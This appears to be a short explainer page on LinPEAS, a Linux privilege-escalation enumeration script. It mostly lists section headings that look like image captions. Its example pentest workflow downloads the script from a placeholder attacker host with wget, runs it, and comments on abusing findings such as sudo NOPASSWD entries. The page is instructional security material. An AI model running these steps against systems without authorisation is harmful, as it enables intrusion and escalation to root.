What is LinPEAS?

LinPEAS (Linux Privilege Escalation Awesome Script) is a comprehensive, automated Bash script from the PEASS-ng suite that enumerates a Linux/Unix/MacOS system for potential privilege escalation vectors. It scans for misconfigurations, vulnerable software, weak permissions, SUID/SGID binaries, cron jobs, writable files, kernel exploits, and more, highlighting findings in color-coded output (green/yellow/red for severity). Key characteristics include fast local execution, thorough checks without external dependencies, and focus on post-exploitation enumeration to identify paths from user to root.

LinPEAS Highlighted Findings Terminal

LinPEAS Output Screenshot Example

Why Understand LinPEAS?

Automated tools like LinPEAS lower the barrier for escalation—regular audits are crucial to close exposed vectors. 🔒

Common Use Cases

Vertical vs Horizontal Escalation Diagram

Linux Privilege Escalation Attack Flow

Kernel Data Mitigation Diagram

Privilege Escalation Checklist Overview

Exploitation Examples

Typical Workflow in Pentest

# Transfer to target (e.g., via wget/curl from attacker server)
wget <http://attacker.ip/linpeas.sh>
chmod +x linpeas.sh

# Run basic scan
./linpeas.sh

# Or thorough (noisy) scan
./linpeas.sh -a  # All checks, including network/port scans

# Output highlights: e.g., writable cron job, SUID find, sudo NOPASSWD
# # Follow colored hints to exploit (e.g., abuse vulnerable sudo entry).